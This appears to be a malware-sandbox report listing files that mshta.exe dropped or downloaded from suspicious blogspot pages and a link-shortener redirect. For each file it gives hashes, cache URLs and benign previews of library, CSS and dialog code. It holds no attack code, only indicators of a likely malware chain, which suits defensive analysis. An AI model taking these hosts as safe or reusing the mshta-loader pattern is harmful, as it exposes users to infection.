Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f="function",k="string",l,n=this\|\|self,p=function(a){var b=typeof a;b="object"!=b?b:a?Array.isArray(a)?"array":b:"null";return"array"==b\|\|"object"==b&&"number"==typeof a.length};var q=Array.prototype.indexOf?function(a,b,c){return Array.prototype.indexOf.call(a,b,c)}:function(a,b,c){c=null==c?0:0>c?Math.max(0,a.length+c):c;if(typeof a===k)return typeof b!==k\|\|1!=b.length?-1:a.indexOf(b,c);for(;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1},r=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=typeof a===k?a.split(""):a,g=0;g<d;g++)g in e&&b.call(c,e[g],g,a)};.function t(a){return Array.prototype.concat.apply([],arguments)};var u;a:{var v=n.navigator;if(v){var w=v.userAgent;if(w){u=w;break a}}u=""}var x=function(a){return-1!=u.indexOf(a)};var y=x("Trident")\|\|x("MSIE");var z=function(a,b){return typeof b===k?a.getElementB

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\blogin[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	287
Entropy (8bit):	7.171262501317191
Encrypted:	false
SSDEEP:	6:XtQeA5M/H2XUm2R+sWN/vlaUZpQFS9YI3m6od9IUEoXLbveYGak5sOR:XdyM/H2XUm2YsWN/tBJD3mJT98L
MD5:	2F0617DDC36B03F4723AD04D4891F74E
SHA1:	4A0ED082B77CA3E70DE11FC42AED497A7C067E94
SHA-256:	E036CAB59948C4704421AAA2090E662FFAD53D794FB9C84206FFFA7208591993
SHA-512:	87BC8CF6961E4DCC757188B9E9DD109F4C7201591F80FED28DCD731F3AF79249B3C76CDE020021D38B72C125DDA993D14A092FE9DA6B4382BD60B9BCEBB073DD
Malicious:	false
Preview:	...........1O.0.....+..6i...T-M)R.J.H0&..X8>+v...IL..s.=.}.<.d.wE6I..r=4..<.....Cc.-[......$.......z~...C.]mBE...\|x...._...@.(...'u.H..dI..\|.F...=0V....JD...l.+.'%.@..B...t.^.}..J....z..P........t...U).*4.......Kz..2.G$..o.tv_Y..{\|]6........-.S'H}.A.H.:.jh!a....Q..B.?.".h....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cookienotice[1].js Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6513
Entropy (8bit):	4.798066280817504
Encrypted:	false
SSDEEP:	96:q54UPzHFcJZ7haKemb/m2GzrzCXAl/MStzo41Pm+YsttcVcbYhyjcso13EZDjiat:q5rPzHgxm2GzaXeMnuzYstyryPhZD9
MD5:	A705132A2174F88E196EC3610D68FAA8
SHA1:	3BAD57A48D973A678FEC600D45933010F6EDC659
SHA-256:	068FFE90977F2B5B2DC2EF18572166E85281BD0ECB31C4902464B23DB54D2568
SHA-512:	E947D33E0E9C5E6516F05E0EA696406E4E09B458F85021BC3A217071AE14879B2251E65AEC5D1935CA9AF2433D023356298321564E1A41119D41BE7C2B2D36D5
Malicious:	false
IE Cache URL:	https://randikhanaekminar.blogspot.com/js/cookienotice.js
Preview:	/. Copyright 2014 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.. /../. For more information on this file, see http://www.cookiechoices.org/. */..(function(window) {.. if (!!window.cookieChoices) {. return window.cookieChoices;. }.. var document = window.document;. // IE8 does not support textContent, so we should fallback to innerText.. var supportsTextContent = 'textContent' in document.body;.. var cookieChoices = (function() {.. var cookieName = 'displayCookie

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cookienotice[2].js Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6513
Entropy (8bit):	4.798066280817504
Encrypted:	false
SSDEEP:	96:q54UPzHFcJZ7haKemb/m2GzrzCXAl/MStzo41Pm+YsttcVcbYhyjcso13EZDjiat:q5rPzHgxm2GzaXeMnuzYstyryPhZD9
MD5:	A705132A2174F88E196EC3610D68FAA8
SHA1:	3BAD57A48D973A678FEC600D45933010F6EDC659
SHA-256:	068FFE90977F2B5B2DC2EF18572166E85281BD0ECB31C4902464B23DB54D2568
SHA-512:	E947D33E0E9C5E6516F05E0EA696406E4E09B458F85021BC3A217071AE14879B2251E65AEC5D1935CA9AF2433D023356298321564E1A41119D41BE7C2B2D36D5
Malicious:	false
IE Cache URL:	https://backbones1234511a.blogspot.com/js/cookienotice.js
Preview:	/. Copyright 2014 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.. /../. For more information on this file, see http://www.cookiechoices.org/. */..(function(window) {.. if (!!window.cookieChoices) {. return window.cookieChoices;. }.. var document = window.document;. // IE8 does not support textContent, so we should fallback to innerText.. var supportsTextContent = 'textContent' in document.body;.. var cookieChoices = (function() {.. var cookieName = 'displayCookie

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\css[1].css Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	172
Entropy (8bit):	5.119931778220296
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCiF15RI5XwDKLRIHDfFWYhfqzrZqcdJ2dTi8EuRlGwLYRLAK1Yvn:0IFFm15+56Zzhizlpd0celB4zSv
MD5:	C141D007243B3488466496ED83F13B2F
SHA1:	F184CE8D5074D7B510E2A529AECCF0B3DB0F8EBE
SHA-256:	D9427036A7A10029E9B0454939E9BB5095D217AFCFC8EF43E2B49F870B0562EA
SHA-512:	C7482956BA1522ED07C777415571213ED3F746A7FFCC0FFC7B31DB992393559E23E13C5585B3DDD52728D1B943484B3BC8D04FD1DB6C47D9750F84E9DB5E4706
Malicious:	false
IE Cache URL:	https://fonts.googleapis.com/css?family=Open+Sans:300
Preview:	@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. src: url(https://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN_r8OUuht.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\dbgghasdnasdjasgdakgsdhv[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	137
Entropy (8bit):	4.639845182808017
Encrypted:	false
SSDEEP:	3:qVvzLURODccZ/vXbvx9nDydD+M5zXKlWnLNGHbjkFSXbKFvNGb:qFzLIeco3XLx92tz5zXKlO87jMSLWQb
MD5:	D86CDDDEC21570C2E24C90E1E4ACE774
SHA1:	6B9A49121E9D26DAD7EB0EB9BF974109A46D944C
SHA-256:	01458D44E9CEAFE97FB50BAC49BB2C3BFA126B6A7F67CD7E2B536487CD41C338
SHA-512:	F48494E39468AD998E188F724AF4E3BFA057384CCE601E14760158CC18339B7FD140625188BC8508C0A1A67FDCB12951ABC83EC8BC5EC98D89C135F1039A8102
Malicious:	false
Preview:	<html>.<head><title>Bitly</title></head>.<body><a href="https://mainjigijigi123.blogspot.com/p/st2222.html">moved here</a></body>.</html>

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[1] Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[2] Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ghostbackup13[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	30345
Entropy (8bit):	5.38968098341023
Encrypted:	false
SSDEEP:	384:ms+0q2o35xCHMsV1oHHXfPWdT7ELLAZuSXn7bF3peggwjLFjjW82SHdllsmR/8d:ZE3eyHHvPWdcLLAZuSXnVggt72SHU
MD5:	48245C14CB5FABC9DE13624D15960409
SHA1:	43C4EFD1E023A67E41CB247144EEFD77845720DB
SHA-256:	97E1F2201FE9E16C0B60857431C3D90377DA98C829C6E7A3A3F0F8F760DD7ED8
SHA-512:	62E6A7AF042B03E9ABEF036046242E1E0B9F9E68343028EAD60C424C8474502E4D1AEA4826247B726BBFFD42787279EDF5F1008408826028A9513B01FE426874
Malicious:	false
IE Cache URL:	https://ghostbackbone123.blogspot.com/p/ghostbackup13.html
Preview:	<!DOCTYPE html>.<html class='v2' dir='ltr' lang='en'>.<head>.<link href='https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css' rel='stylesheet' type='text/css'/>.<meta content='width=1100' name='viewport'/>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>.<meta content='blogger' name='generator'/>.<link href='https://ghostbackbone123.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>.<link href='https://ghostbackbone123.blogspot.com/p/ghostbackup13.html' rel='canonical'/>.<link rel="alternate" type="application/atom+xml" title="ghostbackbone - Atom" href="https://ghostbackbone123.blogspot.com/feeds/posts/default" />.<link rel="alternate" type="application/rss+xml" title="ghostbackbone - RSS" href="https://ghostbackbone123.blogspot.com/feeds/posts/default?alt=rss" />.<link rel="service.post" type="application/atom+xml" title="ghostbackbone - Atom" href="https://www.blogger.com/feeds/1690726786805467605/posts/default" />. [if IE]><script t

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\st2[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	33738
Entropy (8bit):	5.52621033813305
Encrypted:	false
SSDEEP:	768:kI3eyHHvPWdWj0S2vc26nJo6iXnVgMNG2SGo:kI3LHH2dWj72ZKJo6GgMNS
MD5:	4471AED27F6F7476F83FF74C5AA21822
SHA1:	11F39F288AF421327BBC9E8E573503B1A22905CE
SHA-256:	F99248B36DEDF11DCB731D26CACE0C77C3B6E3FA630D78F84D13BC88B8217333
SHA-512:	4E90688AF855311A24AA469006098A5B7B7ABF5140CF315C98384089A7AA554F77081E86809B9E850C44188F9E042728C18DB99756DB1B388896EE047D2807B3
Malicious:	false
IE Cache URL:	https://randikhanaekminar.blogspot.com/p/st2.html
Preview:	<!DOCTYPE html>.<html class='v2' dir='ltr' lang='en-GB'>.<head>.<link href='https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css' rel='stylesheet' type='text/css'/>.<meta content='width=1100' name='viewport'/>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>.<meta content='blogger' name='generator'/>.<link href='https://randikhanaekminar.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/>.<link href='https://randikhanaekminar.blogspot.com/p/st2.html' rel='canonical'/>.<link rel="alternate" type="application/atom+xml" title="randiblog - Atom" href="https://randikhanaekminar.blogspot.com/feeds/posts/default" />.<link rel="alternate" type="application/rss+xml" title="randiblog - RSS" href="https://randikhanaekminar.blogspot.com/feeds/posts/default?alt=rss" />.<link rel="service.post" type="application/atom+xml" title="randiblog - Atom" href="https://www.blogger.com/feeds/4778963473423104316/posts/default" />. [if IE]><script type="text/javas

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\3416767676-css_bundle_v2[1].css Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	36990
Entropy (8bit):	5.156709527997923
Encrypted:	false
SSDEEP:	384:B0OhFvg3AwN6VysImDyPWquJMpx/SCYW0bS8+Rl9yapwuJ86YKSQCNL/J69nag9N:B0Oh+/N6nIm6IvW0ErVJwxgngRdFr2
MD5:	0BEF7C3D549CA15E5FE23315FC211990
SHA1:	28E3A4693A8F0212850A38303A037A6DDBC14D2E
SHA-256:	C91AFADBE63DD834AAC00B49BC715795DA58970E7D500C4BD8F50ED713C77880
SHA-512:	6A255013A987FFFAE23B8AF3A19471CBC4E51F747F41E1341596829FB3316B74882B43F281A9F0741FAEC345F92C6A784EE6C9BEB28D23F211D099D32C597961
Malicious:	false
IE Cache URL:	https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css
Preview:	body{margin:0;padding:0 0 1px}.content-outer,.header-outer,.tabs-outer,.main-outer,.main-inner,.footer-outer,.post,.comments,.widget,.date-header,.inline-ad{position:relative;min-height:0;_position:static;_height:1%}.footer-outer{margin-bottom:-1px}.content-inner{padding:10px}.tabs-inner{padding:0 15px}.main-inner{padding:30px 0}.main-inner .column-center-inner,.main-inner .column-left-inner,.main-inner .column-right-inner{padding:0 15px}.footer-inner{padding:30px 15px}.section{margin:0 15px}.widget{margin:30px 0;_margin:0 0 10px}.section:first-child .widget:first-child{margin-top:0}.section:first-child #uds-searchControl+.widget{margin-top:0}.section:last-child .widget:last-child{margin-bottom:0}.tabs:first-child .widget{margin-bottom:0}body .navbar{height:30px;padding:0;margin:0}body .navbar .Navbar{position:absolute;z-index:10;left:0;width:100%;margin:0;padding:0;background:none;border:none}.header-inner .section{margin:0}.header-inner .widget{margin-left:30px;margin-right:30px}.hea

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\84067855-widgets[1].js Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	144902
Entropy (8bit):	5.570242774242284
Encrypted:	false
SSDEEP:	1536:sf0jKyeUNEWa9MW7zShH4CUMFvkcPe611Cg3x6sMuXgktbdrvh/0ie2zKQ+TtY7g:SnU4CXNew1Cox8210ipOz4m
MD5:	63642B890AD1CBD4C33DF076775147A8
SHA1:	501936F025C1D9F1EA5401E9743632C6C1284A71
SHA-256:	A44D152363BB65AFA637F41D115A093D8E268958D7B69B379A5D205291ADA5C4
SHA-512:	3E895BE361F4EB95C073D284D81D88EC9D40FA66E87797DB38FAC162CDBBA1FBD256B436F738C5D60612C62CEBEA4DB84B2392BDE0D5FF1167B4BAD10F8D59CF
Malicious:	false
IE Cache URL:	https://www.blogger.com/static/v1/widgets/84067855-widgets.js
Preview:	(function(){var aa="&action=",ca=".wikipedia.org",da="CSSStyleDeclaration",ea="Clobbering detected",fa="Edge",ha="Element",ia="GET",ja="Never attached to DOM.",ka="SPAN",la="STYLE",ma="SW_READER_LIST_",na="SW_READER_LIST_CLOSED_",oa="Share this post",pa="Symbol.iterator",qa="_blank",ra="about:invalid#zClosurez",sa="about:invalid#zSoyz",ta="attributes",ua="block",va="chooseWidget",wa="click",xa="collapsed",ya="collapsed-backlink",za="collapsible",Aa="comment-editor",Ba="complete",Ca="configure",Da="contact-form-email",.Ea="contact-form-email-message",Fa="contact-form-error-message",Ga="contact-form-error-message-with-border",Ha="contact-form-name",Ia="contact-form-submit",Ja="contact-form-success-message",Ka="contact-form-success-message-with-border",La="data-height",Ma="data-sanitizer-",Na="data-viewurl",Oa="displayModeFull",Pa="displayModeLayout",Qa="displayModeNone",k="div",Ra="dropdown-toggle",Sa="error",Ta="expanded",Ua="expanded-backlink",Va="followers-grid",l="function",Wa="getAt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\blogin[1].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	284
Entropy (8bit):	7.171132079129412
Encrypted:	false
SSDEEP:	6:XtZVGhY/4DPyA6kj0VRCi74U13+4LqpQOBdxgUnF68/:XchY/xAdUCc4U1GO6rgUnh/
MD5:	730697C689F5C37C8441656B65C65F91
SHA1:	24C701AEA86212CECE66DD7DD26B3FBD88A93682
SHA-256:	908C6760208DE411D85137226ACDC8AD5F061B9700BD55174EABEDFA558F5940
SHA-512:	2C2B4DB1ECA0023D19DE1D5ED4534D26247EDA71BC9B75581FABE4306BDF23802C37A35BECA2FCF6218236574F4B3021959AE1AC091419AE4FAEF072E2528B88
Malicious:	false
Preview:	...........QAN.0....VP9..8@.*%)EJU....i.8F...F...7....zf.0..l.l.....2...N.....T.....%."\...~~.W.C..l."..w>.w..7.k.8......^....A..d{(7i.zo..cu.`o...Q(..j...Y6P..f.....^..0.B!...KC.j"..;T.eq..Z./).T.bI........z....Ur.............vN.!.].a 0.(k........B............

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\blogin[2].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	284
Entropy (8bit):	7.28105912472404
Encrypted:	false
SSDEEP:	6:XtwVpe2C2X8PnE+diknJLyw8w45Mpii0Y9YzgRCe/Xm68RDW1o0uel:XiVw2C2X8PnTYkJLy1/5FJ65/2686oY
MD5:	4D81C371377D85872CDA9F8F8864118F
SHA1:	95F2403317D5A30FFFE85BD92D61198DD5C365B4
SHA-256:	2A76F5F170530C3A66BEA30991EFDCF5F8CFD9C5EE537914F57B39163751E90D
SHA-512:	23FD5C5E74FAFE5A9F164BD30AC54A6276DFC2DD292DFC687B2520A27A06BD5FB831247D9AFB7B481F6C3BB9B52DF1A82B162A1524298A18C6A0DF9C6D0A43B7
Malicious:	false
Preview:	............1O.0.....+..6-..$.Z.R..J.H0...X.}..4....1s.=.}.<.\|._.r.o..zh...U..g8....^..,&9..W...Y==....6.2.w><oRe..._..@..t.l$...$._....Y..........@%..@.4...Y5P.Tv...vP\.}..F).'z..R..Ep.....v}...Guj..p2..O/\r;...........ka..'j.}...c'BPg(.. .$&..-x...CRcD)...7.}......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\blogin[3].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	287
Entropy (8bit):	7.22084343721493
Encrypted:	false
SSDEEP:	6:XtQepmZpKCGFa2VIqQAN3kVqoltZ1iOS6O2TCO0yb:XdpmKCGGqnkLptS6O27
MD5:	6D3F23BA12AE1D4D66D2D12AC6F8A9F0
SHA1:	E075FB33FE3072030364CCC455CDC7F0DC752A49
SHA-256:	C75C051D62C1419CA30FF20F17720E0DAB937A71CDC2292C67DB5D33F04F62CC
SHA-512:	0F10F1BDF18384EE755B8FD9581DE65185D3E1C70C3774DB7375C295B049AE46CA217DF58FA921B24057E3AB920D78D1811F1C97684951E57EE99F028BA051C1
Malicious:	false
Preview:	...........1O.0.....+..1...I....)U.b$...p,..e;...I\..s.;..<.l.U1.6.b54........Ak.q..)..IF...n.I./.j...u......M.d.;........E.......d./.y.`.#.\..L.D..R.-}.wT.......L.....}Zk..\.G.L.................^Kk..k40.O.....Cm....k../.......{.....A\H.:).p..E....a..b.?..#l....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\blogin[4].htm Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	288
Entropy (8bit):	7.186277559304474
Encrypted:	false
SSDEEP:	6:XtQeYQIDoZZOJgsGJj8FDMV0nCylJiimLrtqBeCw10bPvg3/tz:XdCMZZObmjy9finLRqBrX+/N
MD5:	FFA6B2FB79EFA27C78F1B8AE7252D22E
SHA1:	62627448338A017F93D49E3D93D506EF617388C9
SHA-256:	E25D0467A39DD17C689F94F2C8697B64FF494AC76F3AD1E3D0E658D748C5D5E7
SHA-512:	721DA29A8A42785A00FD92EE7BA3BBCF32B29EF927A870DCBCBD92297A695AC1151F4432C302F44ADF7C862C7C7C449F26363D1D98EFC82C8DDD0BF07FA18C95
Malicious:	false
Preview:	...........1O.0.....+...i$.HR.4%H.*.#....c....i.'1T,...ww.=YzI..U.H.".N.{bU....'.3..T.I..X$...9l.....P..ip....V........_n.t.Z '.C......\...X..u..0.9.A;K..P@9v.3.g.B!...vR..^..q..B!......b=.k...e...E..4.!Z...c..L...uj..m...Gt]w.....q0...S[+..~.?..u...C......C............

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\cookienotice[1].js Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6513
Entropy (8bit):	4.798066280817504
Encrypted:	false
SSDEEP:	96:q54UPzHFcJZ7haKemb/m2GzrzCXAl/MStzo41Pm+YsttcVcbYhyjcso13EZDjiat:q5rPzHgxm2GzaXeMnuzYstyryPhZD9
MD5:	A705132A2174F88E196EC3610D68FAA8
SHA1:	3BAD57A48D973A678FEC600D45933010F6EDC659
SHA-256:	068FFE90977F2B5B2DC2EF18572166E85281BD0ECB31C4902464B23DB54D2568
SHA-512:	E947D33E0E9C5E6516F05E0EA696406E4E09B458F85021BC3A217071AE14879B2251E65AEC5D1935CA9AF2433D023356298321564E1A41119D41BE7C2B2D36D5
Malicious:	false
IE Cache URL:	https://mainjigijigi123.blogspot.com/js/cookienotice.js
Preview:	/. Copyright 2014 Google Inc. All rights reserved... Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0.. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.. /../. For more information on this file, see http://www.cookiechoices.org/. */..(function(window) {.. if (!!window.cookieChoices) {. return window.cookieChoices;. }.. var document = window.document;. // IE8 does not support textContent, so we should fallback to innerText.. var supportsTextContent = 'textContent' in document.body;.. var cookieChoices = (function() {.. var cookieName = 'displayCookie

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\error[1] Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.dlg
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\analytics[1].js Download File
Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	47051
Entropy (8bit):	5.516264124030958
Encrypted:	false
SSDEEP:	768:ryOveCSBZfsnt5XqY/yPndFTkoWY3SoavqVy2rlebYUDTJC6g0stZm:ryJNDfs5hYdFTwY3SorSg0su
MD5:	53EE95B384D866E8692BB1AEF923B763
SHA1:	A82812B87B667D32A8E51514C578A5175EDD94B4
SHA-256:	E441C3E2771625BA05630AB464275136A82C99650EE2145CA5AA9853BEDEB01B
SHA-512:	C1F98A09A102BB1E87BFDF825A725B0E2CC1DBEDB613D1BD9E8FD9D8FD8B145104D5F4CACA44D96DB14AC20F2F51B4C653278BFC87556E7F00E48A5FA6231FAD
Malicious:	false
IE Cache URL:	https://www.google-analytics.com/analytics.js
